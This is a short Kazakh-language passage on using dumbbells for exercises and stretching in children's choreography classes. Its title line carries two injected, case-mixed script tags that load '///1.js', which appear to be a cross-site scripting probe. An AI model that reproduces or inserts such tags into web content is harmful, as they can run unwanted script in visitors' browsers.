Гантельдермен жаттығулар мен созылулар<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Хореографияда атрибуттары бар сабақтар өте маңызды. Бұл жерде гантельдер айтарлықтай орын алады. Гантельдермен жаттығулар мен созылулар баланың тірек-қимыл аппаратын керемет нығайтады, балалардың төзімділігін дамытады және сабақтарды қызықты етеді.